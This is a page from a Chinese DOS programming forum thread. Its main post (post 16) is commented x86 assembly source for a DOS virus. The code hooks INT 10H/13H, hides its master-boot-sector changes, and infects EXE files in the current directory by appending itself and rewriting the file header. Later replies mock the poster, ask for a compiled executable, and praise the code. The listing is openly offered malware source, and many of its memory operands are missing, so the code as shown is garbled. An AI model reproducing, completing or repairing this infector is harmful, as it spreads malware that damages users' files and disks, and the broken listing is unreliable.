![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-08-01 21:06 |
共 48,037 主题排行 / 350,122 发帖 / 今日 2 篇 / 48,249 会员排行 |
| DOS开发编程 & 发展交流 (开发室) » 磁盘杀手(批处理,只是恶意代码非病毒) |
| 可打印版本 3,721 / 22 |
| 第16楼 VC_COM | 发表于 2003-05-02 00:00 |
| 初级用户 发帖 20 积分 37 | |
|
SM PROC ;|---;子程序SM的作用: MOV AX,DS: ;| ;将中断10H,13H分别保存 MOV DS:,AX ;| ;至85H,86H,并修改10H,13H MOV AX,DS: ;| ;指向新中断部分 MOV DS:,AX ;| ;| MOV AX,DS: ;| MOV DS:,AX ;| MOV AX,DS: ;| MOV DS:,AX ;| ;| MOV AX,OFFSET NEW10H-OFFSET HDP ;| MOV DS:,AX ;| MOV AX,22H ;| MOV DS:,AX ;| ;| MOV AX,OFFSET NEW13H-OFFSET HDP ;| MOV DS:,AX ;| MOV AX,22H ;| MOV DS:,AX ;| RET ;| SM ENDP ;| NEW10H:CMP AH,00 ;|-;新中断10H的作用: JZ N1 ;| ;检测是否调用功能00H INT 85H ;| ;是->将主代码装入内存 IRET ;| ; 并执行 N1: PUSH AX ;| ;否->调用原中断10H PUSH BX ;| PUSH CX ;| PUSH DX ;| PUSH DS ;| PUSH ES ;| ;| MOV AX,8000H ;| MOV ES,AX ;| ;| MOV AX,0202H ;| XOR BX,BX ;| MOV CX,0002H ;| MOV DX,0080H ;| INT 13H ;| ;| MOV BX,OFFSET JMP_MAIN-OFFSET HDP ;| JMP DWORD PTR CS: NEW13H USHF ;|----------------------;新中断13H的作用: CMP CX,0001H ;| ;检测是否读主引导扇区 JNZ NGW ;| ;是->读0面0道4扇区 CMP AH,02H ;| ;否->调用原中断13H JNZ NGW ;| CMP DX,0080H ;| JNZ NGW ;| ;| MOV CX,0017H ;| NGW: POPF ;| INT 86H ;| IRET ;| ;** PART 4:传染部分 ****************************************************** MAIN: MOV AX,CS MOV ES,AX MOV DS,AX MOV AH,1AH ;| MOV DX,OFFSET DTA ;|-----------------;设置DTA(磁盘传输地址) INT 21H ;| MOV AH,4EH ;| JMP DIR ;| SDIR: MOV AH,4FH ;| ;在当前目录中搜索第一个 DIR : MOV DX,OFFSET FNEXE ;|---------------;EXE文件 MOV CX,100111B ;| ;找到->继续 INT 21H ;| ;没找到->转HW JC HW ;| CMP DS:,BYTE PTR 77 ;| ;检测是否已感染 JZ SDIR ;| ;是->搜索下一个EXE文件 MOV CX,DS: ;| ; 直到找到或搜索完 CMP CX,09H ;|----------; 目录为止 JNB SDIR ;| ;否->实施传染 ;| ;注:如果文件已感染或文 CALL GR ;| ; 长度超过90000H都不 ; 会传染. HW: POP ES POP DS POP DX POP CX POP BX POP AX INT 85H ;|---------------------------;执行原中断10H IRET GR PROC ;|------------------------------;子程序GR作用: ;传染EXE文件 MOV DX,OFFSET FN ;| MOV AX,4301H ;|-----------------;置文件属性为:普通 MOV CX,100000B ;| INT 21H ;| MOV AX,3D02H INT 21H ;|-----------------;打开文件 MOV BX,AX MOV AX,4200H ;| XOR CX,CX ;| MOV DX,8H ;| INT 21H ;|--------------;读文件头节长度 MOV AH,3FH ;| MOV CX,2H ;| MOV DX,OFFSET H_EXE ;| INT 21H ;| MOV AX,4200H ;| XOR CX,CX ;| MOV DX,14H ;| INT 21H ;|---------------;保存原文件的 CS:IP MOV AH,3FH ;| ;初始值 MOV CX,4H ;| MOV DX,OFFSET B_IP ;| INT 21H ;| MOV AX,4202H ;| XOR CX,CX ;| XOR DX,DX ;| INT 21H ;| MOV DX,DS: ;| MOV AX,DS: ;| MOV CX,10H ;| ;使原文件的长度为10H的 DIV CX ;|-----------------;倍数,目的是为了使自身 INC AX ;| ;能运行在CS:00的环境下 SUB AX,DS: ;| MOV DS:,AX ;| SUB CX,DX ;| PUSH CX ;| MOV AH,40H ;| INT 21H ;| MOV AH,40H ;| MOV CX,OFFSET P_SIZE ;|--------------;将自身附加在文件结尾 XOR DX,DX ;| INT 21H ;| MOV AX,4200H ;| XOR CX,CX ;| MOV DX,02H ;| INT 21H ;| MOV DX,DS: ;| MOV AX,DS: ;| POP CX ;| ADC AX,CX ;| ;将新文件的长度转换成 JNC NC1 ;| ;(页长度+最后一个扇区字节数) INC DX ;|-----------;的形式 NC1: ADC AX,OFFSET P_SIZE ;| ;并将此结果写入EXE文件头 JNC NC2 ;| INC DX ;| NC2: MOV CX,200H ;| DIV CX ;| INC AX ;| MOV DS:,DX ;| MOV DS:,AX ;| MOV DX,OFFSET B_EXE ;| MOV CX,4H ;| MOV AH,40H ;| INT 21H ;| MOV AX,4200H ;| XOR CX,CX ;| MOV DX,14H ;| INT 21H ;|-------------;将计算后的新CS:IP初始值写 MOV AH,40H ;| ;入EXE文件头 MOV CX,4H ;| MOV DX,OFFSET N_IP ;| INT 21H ;| MOV AX,5701H ;| MOV CH,DS: ;| ;改回文件修改日期并打上 MOV CL,77 ;|----------------;已感染标志 MOV DX,DS: ;| INT 21H ;| MOV AH,3EH ;|---------------------;关闭文件 INT 21H ;| MOV DX,OFFSET FN ;| MOV AX,4301H ;| XOR CH,CH ;|---------------;改回文件属性 MOV CL,DS: ;| INT 21H ;| RET ;| GR ENDP ;|---------------;DTA(磁盘传输地址)的格式如下: DTA DB 21 DUP(0) ;|---------------;DOS功能4FH将使用这些字节 C DB 0 ;|---------------;文件属性 T_L DB 0 ;|---------------;文件时间的低位 T_H DB 0 ;|---------------;文件时间的高位 D DW 0 ;|---------------;文件日期 S_L DW 0 ;|---------------;文件长度的低位 S_H DW 0 ;|---------------;文件长度的高位 FN DB 13 DUP(0) ;|---------------;文件的全名 P_SIZE: CSEG ENDS END START |
|
| 第17楼 红色狂想 | 发表于 2003-05-02 00:00 |
| 金牌会员 发帖 1,501 积分 4,289 来自 河南省 | |
|
这些字符是不是你胡乱敲的呀?让我看看你的精简Win 98再说!
|
|
| 第18楼 Dark-Destroy | 发表于 2003-05-02 00:00 |
| 元老会员 发帖 3,551 积分 8,312 | |
以下是引用红色狂想在2003-5-2 16:31:24的发言: 說的對,還是先拿出你的精簡win 98!! |
|
| 第19楼 沈洁 | 发表于 2003-05-04 00:00 |
| 金牌会员 发帖 1,812 积分 4,590 来自 上海市 | |
|
各位都是汇编高手啊!有没有做好的可执行文件上传啊!
|
|
| 第20楼 exipt | 发表于 2006-10-25 16:56 |
| 新手上路 发帖 3 积分 6 | |
|
沙发``红的不行咱们搞黑的```呵呵```
|
|
| 第21楼 zrz000 | 发表于 2006-10-26 01:31 |
| 初级用户 发帖 16 积分 44 | |
|
佩服.有的人可能自以为了不起,看不起楼主的东西.实际上觉得这个太经典了.看事容易做事难.不信他的人可以自己做一个试试
|
|
| 第22楼 qsj | 发表于 2006-11-01 04:40 |
| 初级用户 发帖 34 积分 70 | |
|
幸亏linux没有这些命令! |
|
| 第23楼 shikx2008 | 发表于 2006-11-08 02:28 |
| 初级用户 发帖 28 积分 57 来自 中国 | |
|
厉害好没学会呢?
|
|
| 上一页 1 2 |
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |